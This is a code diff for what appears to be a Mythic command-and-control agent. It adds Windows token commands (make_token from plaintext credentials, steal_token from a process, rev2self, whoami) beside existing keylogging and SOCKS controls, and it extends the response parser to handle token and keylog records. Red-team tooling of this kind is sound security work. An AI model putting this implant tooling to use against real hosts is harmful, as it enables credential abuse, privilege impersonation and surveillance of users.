|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="domain",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Domain of the account credentials (e.g., acme.corp or empty for local)",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=True,
|
||||||
|
ui_position=1
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
CommandParameter(
|
||||||
|
name="username",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="Username of the account",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=True,
|
||||||
|
ui_position=2
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
CommandParameter(
|
||||||
|
name="password",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="The plaintext password for the account",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=True,
|
||||||
|
ui_position=3
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
CommandParameter(
|
||||||
|
name="logon_type",
|
||||||
|
type=ParameterType.Number,
|
||||||
|
default_value=9,
|
||||||
|
description="Logon type (default: 9 = LOGON32_LOGON_NEW_CREDENTIALS)",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=False,
|
||||||
|
ui_position=4
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
parts = self.command_line.split(" ", 2)
|
||||||
|
if len(parts) < 3:
|
||||||
|
raise ValueError("Must supply domain, username, and password: make_token <domain> <username> <password> [logon_type]")
|
||||||
|
|
||||||
|
self.add_arg("domain", parts[0])
|
||||||
|
self.add_arg("username", parts[1])
|
||||||
|
self.add_arg("password", parts[2])
|
||||||
|
|
||||||
|
if len(parts) > 3:
|
||||||
|
try:
|
||||||
|
self.add_arg("logon_type", int(parts[3]))
|
||||||
|
except ValueError:
|
||||||
|
self.add_arg("logon_type", 9)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
if not self.get_arg("logon_type"):
|
||||||
|
self.add_arg("logon_type", 9)
|
||||||
|
|
||||||
|
|
||||||
|
class MakeTokenCommand(CommandBase):
|
||||||
|
cmd = "make_token"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "make_token <domain> <username> <password> [logon_type]"
|
||||||
|
description = "Create a token and impersonate it using plaintext credentials"
|
||||||
|
version = 1
|
||||||
|
author = "@KaseyaOFSTeam"
|
||||||
|
attackmapping = ["T1134.003"]
|
||||||
|
argument_class = MakeTokenArguments
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
domain = taskData.args.get_arg("domain") or ""
|
||||||
|
username = taskData.args.get_arg("username")
|
||||||
|
logon_type = taskData.args.get_arg("logon_type") or 9
|
||||||
|
response.DisplayParams = f"Creating token for {domain}\\{username} (logon_type: {logon_type})"
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
|
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class Rev2SelfArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
|
||||||
|
class Rev2SelfCommand(CommandBase):
|
||||||
|
cmd = "rev2self"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "rev2self"
|
||||||
|
description = "Revert token impersonation back to original token"
|
||||||
|
version = 1
|
||||||
|
author = "@KaseyaOFSTeam"
|
||||||
|
attackmapping = ["T1134.001"]
|
||||||
|
argument_class = Rev2SelfArguments
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
response.DisplayParams = "Reverting to original token..."
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
|
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class StealTokenArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="pid",
|
||||||
|
type=ParameterType.Number,
|
||||||
|
description="Process ID to steal token from",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
|
required=True,
|
||||||
|
ui_position=1
|
||||||
|
)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Must supply a PID")
|
||||||
|
try:
|
||||||
|
self.add_arg("pid", int(self.command_line))
|
||||||
|
except ValueError:
|
||||||
|
raise ValueError("PID must be a number")
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
|
||||||
|
class StealTokenCommand(CommandBase):
|
||||||
|
cmd = "steal_token"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "steal_token <pid>"
|
||||||
|
description = "Steal and impersonate the token of a target process"
|
||||||
|
version = 1
|
||||||
|
author = "@KaseyaOFSTeam"
|
||||||
|
attackmapping = ["T1134.001"]
|
||||||
|
argument_class = StealTokenArguments
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
pid = taskData.args.get_arg("pid")
|
||||||
|
response.DisplayParams = f"Stealing token from PID: {pid}"
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
|
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
|
class WhoamiArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
pass
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
|
||||||
|
class WhoamiCommand(CommandBase):
|
||||||
|
cmd = "whoami"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "whoami"
|
||||||
|
description = "Get current user context (thread token if impersonated, otherwise process token). Useful to verify steal_token/make_token worked correctly."
|
||||||
|
version = 1
|
||||||
|
author = "@KaseyaOFSTeam"
|
||||||
|
attackmapping = ["T1083"]
|
||||||
|
argument_class = WhoamiArguments
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
response.DisplayParams = "Getting current user context..."
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
|
|
||||||
@@ -21,6 +21,12 @@ commands = {
|
|||||||
# Keylogging controls
|
# Keylogging controls
|
||||||
"keylog_start": {"hex_code": 0x30, "input_type": None},
|
"keylog_start": {"hex_code": 0x30, "input_type": None},
|
||||||
"keylog_stop": {"hex_code": 0x31, "input_type": None},
|
"keylog_stop": {"hex_code": 0x31, "input_type": None},
|
||||||
|
# Token commands
|
||||||
|
"list_tokens": {"hex_code": 0x32, "input_type": None},
|
||||||
|
"steal_token": {"hex_code": 0x33, "input_type": "string"},
|
||||||
|
"make_token": {"hex_code": 0x34, "input_type": "string"},
|
||||||
|
"rev2self": {"hex_code": 0x35, "input_type": None},
|
||||||
|
"whoami": {"hex_code": 0x36, "input_type": None},
|
||||||
# Added SOCKS control commands
|
# Added SOCKS control commands
|
||||||
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||||
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||||
@@ -50,6 +56,14 @@ def responseTasking(tasks):
|
|||||||
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
|
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
|
||||||
print("[DEBUG] Entrando en rama input_type=None")
|
print("[DEBUG] Entrando en rama input_type=None")
|
||||||
data = command_code + task_id_serialized
|
data = command_code + task_id_serialized
|
||||||
|
|
||||||
|
# Check if task has a token associated (for token tasking)
|
||||||
|
if "token" in task and task["token"] is not None:
|
||||||
|
token_id = task["token"]
|
||||||
|
print(f"[DEBUG] Task has token_id: {token_id}")
|
||||||
|
# Add token_id as UINT32 (4 bytes, big-endian)
|
||||||
|
data += token_id.to_bytes(4, "big")
|
||||||
|
|
||||||
task_size = len(data)
|
task_size = len(data)
|
||||||
print(f"[DEBUG] Tamaño de tarea: {task_size}")
|
print(f"[DEBUG] Tamaño de tarea: {task_size}")
|
||||||
print(f"[DEBUG] Datos de tarea (hex): {data.hex()}")
|
print(f"[DEBUG] Datos de tarea (hex): {data.hex()}")
|
||||||
@@ -60,6 +74,7 @@ def responseTasking(tasks):
|
|||||||
|
|
||||||
elif commands[command_to_run]["input_type"] == "string":
|
elif commands[command_to_run]["input_type"] == "string":
|
||||||
data = command_code + task_id
|
data = command_code + task_id
|
||||||
|
|
||||||
if task["parameters"] != "":
|
if task["parameters"] != "":
|
||||||
parameters = json.loads(task["parameters"])
|
parameters = json.loads(task["parameters"])
|
||||||
# Normalize paths for upload and ls commands - replace double backslashes
|
# Normalize paths for upload and ls commands - replace double backslashes
|
||||||
@@ -89,6 +104,13 @@ def responseTasking(tasks):
|
|||||||
else:
|
else:
|
||||||
data += b"\x00\x00\x00\x00"
|
data += b"\x00\x00\x00\x00"
|
||||||
|
|
||||||
|
# Check if task has a token associated (for token tasking) - add after parameters
|
||||||
|
if "token" in task and task["token"] is not None:
|
||||||
|
token_id = task["token"]
|
||||||
|
print(f"[DEBUG] Task has token_id: {token_id}")
|
||||||
|
# Add token_id as UINT32 (4 bytes, big-endian) after parameters
|
||||||
|
data += token_id.to_bytes(4, "big")
|
||||||
|
|
||||||
dataTask += len(data).to_bytes(4, "big") + data
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
elif commands[command_to_run]["input_type"] == "int":
|
elif commands[command_to_run]["input_type"] == "int":
|
||||||
|
|||||||
@@ -315,64 +315,104 @@ def postResponse(data):
|
|||||||
resTaks = []
|
resTaks = []
|
||||||
|
|
||||||
# The format after removing POST_RESPONSE byte should be: [UUID tarea (36)][output_len (4)][output][...]
|
# The format after removing POST_RESPONSE byte should be: [UUID tarea (36)][output_len (4)][output][...]
|
||||||
# But the logs show it starts with output_len, so UUID might be missing
|
|
||||||
# Try to detect UUID by looking for hyphen pattern at positions 8, 13, 18, 23
|
# Try to detect UUID by looking for hyphen pattern at positions 8, 13, 18, 23
|
||||||
uuidTask = None
|
uuidTask = None
|
||||||
offset = 0
|
offset = 0
|
||||||
|
|
||||||
# Check if data starts with output_len (4 bytes, can be 0-4294967295, likely < 10MB for text output)
|
# ALWAYS try to find UUID first (before checking for length)
|
||||||
# If first 4 bytes look like a length (reasonable size), UUID might not be here
|
# UUID has format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (36 bytes)
|
||||||
potential_len = None
|
# UUID pattern is very distinctive: 8 hex chars, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex
|
||||||
if len(data) >= 4:
|
# If we find a valid UUID pattern, it takes precedence over length interpretation
|
||||||
potential_len = int.from_bytes(data[0:4], 'big')
|
# Try at offset 0 first
|
||||||
print(f"[DEBUG] Primeros 4 bytes como int: {potential_len}")
|
if len(data) >= 36:
|
||||||
|
potential_uuid = data[0:36]
|
||||||
# If potential_len looks reasonable (< 10MB), data might start directly with output_len
|
try:
|
||||||
# This means UUID was already removed - we'll need to get it from somewhere else
|
uuid_str = potential_uuid.decode('ascii', errors='replace')
|
||||||
if potential_len is not None and potential_len < 10 * 1024 * 1024 and potential_len > 0:
|
# Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
|
||||||
print(f"[DEBUG] Data parece empezar con output_len ({potential_len}), UUID probablemente no está aquí")
|
# UUID pattern: 8 hex, dash, 4 hex, dash, 4 hex, dash, 4 hex, dash, 12 hex
|
||||||
# The UUID is missing from the packet - this is a protocol issue
|
# Also check that the hyphens are at the correct positions
|
||||||
# For now, use a placeholder and let Mythic handle it
|
if (len(uuid_str) == 36 and
|
||||||
uuidTask = b"00000000-0000-0000-0000-000000000000"
|
uuid_str[8] == '-' and uuid_str[13] == '-' and
|
||||||
offset = 0
|
uuid_str[18] == '-' and uuid_str[23] == '-' and
|
||||||
print("[WARN] UUID de tarea no está en el paquete - problema de protocolo")
|
all(c in '0123456789abcdefABCDEF-' for c in uuid_str)):
|
||||||
else:
|
# Additional validation: ensure we have hex digits before each dash
|
||||||
# Try to find UUID starting at offset 0
|
is_valid_uuid = (
|
||||||
if len(data) >= 36:
|
all(c in '0123456789abcdefABCDEF' for c in uuid_str[0:8]) and
|
||||||
potential_uuid = data[offset:offset+36]
|
all(c in '0123456789abcdefABCDEF' for c in uuid_str[9:13]) and
|
||||||
try:
|
all(c in '0123456789abcdefABCDEF' for c in uuid_str[14:18]) and
|
||||||
uuid_str = potential_uuid.decode('ascii')
|
all(c in '0123456789abcdefABCDEF' for c in uuid_str[19:23]) and
|
||||||
# Check if it looks like a UUID (format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
|
all(c in '0123456789abcdefABCDEF' for c in uuid_str[24:36])
|
||||||
if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-':
|
)
|
||||||
|
if is_valid_uuid:
|
||||||
|
# If it matches UUID pattern, trust it (UUID pattern is more reliable than length guess)
|
||||||
|
# UUIDs can have their first 4 bytes interpreted as any int value, so we can't use that to filter
|
||||||
uuidTask = potential_uuid
|
uuidTask = potential_uuid
|
||||||
offset = 36
|
offset = 36
|
||||||
print(f"[DEBUG] UUID de tarea detectado en offset 0: {uuid_str}")
|
print(f"[DEBUG] UUID de tarea detectado en offset 0: {uuid_str}")
|
||||||
except:
|
except Exception as e:
|
||||||
pass
|
print(f"[DEBUG] Error al validar UUID en offset 0: {e}")
|
||||||
|
pass
|
||||||
|
|
||||||
|
# If not found at offset 0, try at offset 36 (might be UUID agente at offset 0)
|
||||||
|
if not uuidTask and len(data) >= 72:
|
||||||
|
potential_uuid = data[36:72]
|
||||||
|
try:
|
||||||
|
uuid_str = potential_uuid.decode('ascii')
|
||||||
|
if (len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and
|
||||||
|
uuid_str[18] == '-' and uuid_str[23] == '-' and
|
||||||
|
all(c in '0123456789abcdefABCDEF-' for c in uuid_str)):
|
||||||
|
uuidTask = potential_uuid
|
||||||
|
offset = 72
|
||||||
|
print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}")
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# If still not found, check if data starts with a reasonable length
|
||||||
|
# In this case, UUID might be missing (protocol issue)
|
||||||
|
if not uuidTask and len(data) >= 4:
|
||||||
|
potential_len = int.from_bytes(data[0:4], 'big')
|
||||||
|
print(f"[DEBUG] Primeros 4 bytes como int: {potential_len}")
|
||||||
|
|
||||||
# If not found, try at offset 36 (might be UUID agente at offset 0)
|
# If potential_len looks reasonable (< 10MB), data might start directly with output_len
|
||||||
if not uuidTask and len(data) >= 72:
|
if potential_len < 10 * 1024 * 1024 and potential_len > 0:
|
||||||
potential_uuid = data[36:72]
|
print(f"[DEBUG] Data parece empezar con output_len ({potential_len}), UUID probablemente no está aquí")
|
||||||
try:
|
print("[WARN] UUID de tarea no está en el paquete - problema de protocolo")
|
||||||
uuid_str = potential_uuid.decode('ascii')
|
|
||||||
if len(uuid_str) == 36 and uuid_str[8] == '-' and uuid_str[13] == '-' and uuid_str[18] == '-' and uuid_str[23] == '-':
|
|
||||||
uuidTask = potential_uuid
|
|
||||||
offset = 72
|
|
||||||
print(f"[DEBUG] UUID de tarea detectado en offset 36: {uuid_str}")
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if not uuidTask:
|
|
||||||
print("[WARN] No se pudo encontrar UUID de tarea válido, usando placeholder")
|
|
||||||
uuidTask = b"00000000-0000-0000-0000-000000000000"
|
uuidTask = b"00000000-0000-0000-0000-000000000000"
|
||||||
offset = 0
|
offset = 0
|
||||||
|
|
||||||
|
if not uuidTask:
|
||||||
|
print("[WARN] No se pudo encontrar UUID de tarea válido, usando placeholder")
|
||||||
|
uuidTask = b"00000000-0000-0000-0000-000000000000"
|
||||||
|
offset = 0
|
||||||
|
|
||||||
data = data[offset:]
|
data = data[offset:]
|
||||||
|
|
||||||
# Extract output, but handle case where output might be empty (e.g., download chunks)
|
# Extract output using getBytesWithSize
|
||||||
output, data = getBytesWithSize(data)
|
# Format after UUID: [output_len(4)][output][marcadores...]
|
||||||
|
# Even if output is empty, output_len will be present as 4 bytes (0x00000000)
|
||||||
print(f"Tamaño después de extraer UUID: {len(data)} bytes")
|
output = b""
|
||||||
|
remaining_data = data
|
||||||
|
|
||||||
|
if len(data) >= 4:
|
||||||
|
# Always read output_len (4 bytes) and then output
|
||||||
|
output, remaining_data = getBytesWithSize(data)
|
||||||
|
print(f"[PARSER] Output extraído: {len(output)} bytes, remaining: {len(remaining_data)} bytes")
|
||||||
|
|
||||||
|
# Verify that remaining_data starts with a marker if we expect markers
|
||||||
|
# This helps detect protocol issues
|
||||||
|
if len(remaining_data) > 0:
|
||||||
|
KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3}
|
||||||
|
if remaining_data[0] not in KNOWN_MARKERS and len(remaining_data) > 0:
|
||||||
|
# This might be part of the output that wasn't properly extracted
|
||||||
|
# This could happen if output_len was incorrectly interpreted
|
||||||
|
print(f"[WARN] remaining_data no empieza con marcador conocido (0x{remaining_data[0]:02X})")
|
||||||
|
else:
|
||||||
|
# Not enough data for output_len
|
||||||
|
print(f"[PARSER] Datos insuficientes después del UUID ({len(data)} bytes)")
|
||||||
|
output = b""
|
||||||
|
remaining_data = data
|
||||||
|
|
||||||
|
print(f"Tamaño después de extraer UUID y output: {len(remaining_data)} bytes")
|
||||||
print(f"Tamaño del output extraído: {len(output)} bytes")
|
print(f"Tamaño del output extraído: {len(output)} bytes")
|
||||||
|
|
||||||
# Parse artifacts, credentials, and downloads
|
# Parse artifacts, credentials, and downloads
|
||||||
@@ -387,8 +427,13 @@ def postResponse(data):
|
|||||||
download_chunk = None
|
download_chunk = None
|
||||||
upload_request = None
|
upload_request = None
|
||||||
commands_data = []
|
commands_data = []
|
||||||
|
tokens_data = []
|
||||||
|
callback_tokens_data = []
|
||||||
keylogs_data = []
|
keylogs_data = []
|
||||||
remaining_data = data
|
|
||||||
|
print(f"[PARSER] Iniciando parsing de marcadores. remaining_data length: {len(remaining_data)} bytes")
|
||||||
|
if len(remaining_data) > 0:
|
||||||
|
print(f"[PARSER] Primer byte de remaining_data: 0x{remaining_data[0]:02X}")
|
||||||
|
|
||||||
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
|
while len(remaining_data) >= 5: # At least: marker (1) + type_len (4)
|
||||||
if remaining_data[0] == 0xFF:
|
if remaining_data[0] == 0xFF:
|
||||||
@@ -763,6 +808,177 @@ def postResponse(data):
|
|||||||
})
|
})
|
||||||
print(f"[KEYLOG] user='{user}', title='{window_title}', len={len(keystrokes)}")
|
print(f"[KEYLOG] user='{user}', title='{window_title}', len={len(keystrokes)}")
|
||||||
remaining_data = remaining_data[offset:]
|
remaining_data = remaining_data[offset:]
|
||||||
|
elif remaining_data[0] == 0xF4:
|
||||||
|
# Token marker found
|
||||||
|
# Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8]
|
||||||
|
offset = 1
|
||||||
|
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
|
||||||
|
token_id = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
def read_string_field():
|
||||||
|
nonlocal offset
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
return None
|
||||||
|
str_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
if str_len == 0:
|
||||||
|
return ""
|
||||||
|
if len(remaining_data) < offset + str_len:
|
||||||
|
return None
|
||||||
|
try:
|
||||||
|
value = remaining_data[offset:offset+str_len].decode('utf-8', errors='ignore')
|
||||||
|
offset += str_len
|
||||||
|
return value
|
||||||
|
except:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def read_int32():
|
||||||
|
nonlocal offset
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
return None
|
||||||
|
value = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
return value
|
||||||
|
|
||||||
|
def read_int64():
|
||||||
|
nonlocal offset
|
||||||
|
if len(remaining_data) < offset + 8:
|
||||||
|
return None
|
||||||
|
value = int.from_bytes(remaining_data[offset:offset+8], 'big')
|
||||||
|
offset += 8
|
||||||
|
return value
|
||||||
|
|
||||||
|
def read_bool():
|
||||||
|
nonlocal offset
|
||||||
|
if len(remaining_data) < offset + 1:
|
||||||
|
return None
|
||||||
|
value = remaining_data[offset] != 0
|
||||||
|
offset += 1
|
||||||
|
return value
|
||||||
|
|
||||||
|
host = read_string_field()
|
||||||
|
description = read_string_field()
|
||||||
|
user = read_string_field()
|
||||||
|
groups = read_string_field()
|
||||||
|
thread_id = read_int32()
|
||||||
|
process_id = read_int32()
|
||||||
|
default_dacl = read_string_field()
|
||||||
|
session_id = read_int32()
|
||||||
|
restricted = read_bool()
|
||||||
|
capabilities = read_string_field()
|
||||||
|
logon_sid = read_string_field()
|
||||||
|
integrity_level_sid = read_int32()
|
||||||
|
app_container_number = read_int32()
|
||||||
|
app_container_sid = read_string_field()
|
||||||
|
privileges = read_string_field()
|
||||||
|
handle = read_int64()
|
||||||
|
|
||||||
|
if any(x is None for x in [thread_id, process_id, session_id, restricted, integrity_level_sid, app_container_number, handle]):
|
||||||
|
break
|
||||||
|
|
||||||
|
# Build token object according to Mythic documentation
|
||||||
|
# Only include fields that have actual values (omit empty/zero optional fields)
|
||||||
|
# This matches how other Mythic agents handle optional token fields
|
||||||
|
token_obj = {
|
||||||
|
"token_id": token_id # required - always include
|
||||||
|
}
|
||||||
|
|
||||||
|
# Only add optional fields if they have meaningful values
|
||||||
|
if host:
|
||||||
|
token_obj["host"] = host
|
||||||
|
if description:
|
||||||
|
token_obj["description"] = description
|
||||||
|
if user:
|
||||||
|
token_obj["user"] = user
|
||||||
|
# NOTE: The C agent currently sends domain_name as groups (incorrect, should be actual groups)
|
||||||
|
# For now, we'll omit groups field entirely since it contains incorrect data
|
||||||
|
# In the future, the C agent should extract and send actual group membership
|
||||||
|
# if groups and groups.strip():
|
||||||
|
# token_obj["groups"] = groups
|
||||||
|
if thread_id != 0: # 0 is a valid thread_id, but often means "not provided"
|
||||||
|
token_obj["thread_id"] = thread_id
|
||||||
|
if process_id != 0: # 0 is not a valid PID, so omit if 0
|
||||||
|
token_obj["process_id"] = process_id
|
||||||
|
if default_dacl:
|
||||||
|
token_obj["default_dacl"] = default_dacl
|
||||||
|
# session_id can be 0 (valid), so always include it
|
||||||
|
token_obj["session_id"] = session_id
|
||||||
|
# restricted can be False (valid), so always include it
|
||||||
|
token_obj["restricted"] = restricted
|
||||||
|
if capabilities:
|
||||||
|
token_obj["capabilities"] = capabilities
|
||||||
|
if logon_sid:
|
||||||
|
token_obj["logon_sid"] = logon_sid
|
||||||
|
if integrity_level_sid != 0:
|
||||||
|
token_obj["integrity_level_sid"] = integrity_level_sid
|
||||||
|
if app_container_number != 0:
|
||||||
|
token_obj["app_container_number"] = app_container_number
|
||||||
|
if app_container_sid:
|
||||||
|
token_obj["app_container_sid"] = app_container_sid
|
||||||
|
if privileges:
|
||||||
|
token_obj["privileges"] = privileges
|
||||||
|
if handle != 0: # 0 is not a valid handle, so omit if 0
|
||||||
|
token_obj["handle"] = handle
|
||||||
|
|
||||||
|
tokens_data.append(token_obj)
|
||||||
|
print(f"[TOKEN] token_id={token_id}, user='{user}', pid={process_id}, handle={handle}")
|
||||||
|
remaining_data = remaining_data[offset:]
|
||||||
|
print(f"[TOKEN] Tokens parseados hasta ahora: {len(tokens_data)}, remaining_data length: {len(remaining_data)} bytes")
|
||||||
|
if len(remaining_data) > 0:
|
||||||
|
print(f"[TOKEN] Siguiente byte en remaining_data: 0x{remaining_data[0]:02X}")
|
||||||
|
elif remaining_data[0] == 0xF3:
|
||||||
|
# Callback token marker found
|
||||||
|
# Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4]
|
||||||
|
offset = 1
|
||||||
|
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
|
||||||
|
action_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
if action_len == 0 or len(remaining_data) < offset + action_len:
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
action = remaining_data[offset:offset+action_len].decode('utf-8', errors='ignore')
|
||||||
|
offset += action_len
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Host
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
host_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
host = ""
|
||||||
|
if host_len > 0:
|
||||||
|
if len(remaining_data) < offset + host_len:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
host = remaining_data[offset:offset+host_len].decode('utf-8', errors='ignore')
|
||||||
|
offset += host_len
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Token ID
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
token_id = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
callback_tokens_data.append({
|
||||||
|
"action": action,
|
||||||
|
"host": host,
|
||||||
|
"token_id": token_id
|
||||||
|
})
|
||||||
|
print(f"[CALLBACK_TOKEN] action='{action}', host='{host}', token_id={token_id}")
|
||||||
|
remaining_data = remaining_data[offset:]
|
||||||
else:
|
else:
|
||||||
# No more markers
|
# No more markers
|
||||||
break
|
break
|
||||||
@@ -813,7 +1029,8 @@ def postResponse(data):
|
|||||||
|
|
||||||
# Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks
|
# Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks
|
||||||
# (los chunks de download no necesitan user_output)
|
# (los chunks de download no necesitan user_output)
|
||||||
if not download_chunk or decoded_output.strip():
|
# Always include user_output if there's output text (needed for tokens command to show in GUI)
|
||||||
|
if not download_chunk and decoded_output.strip():
|
||||||
jsonTask["user_output"] = decoded_output
|
jsonTask["user_output"] = decoded_output
|
||||||
|
|
||||||
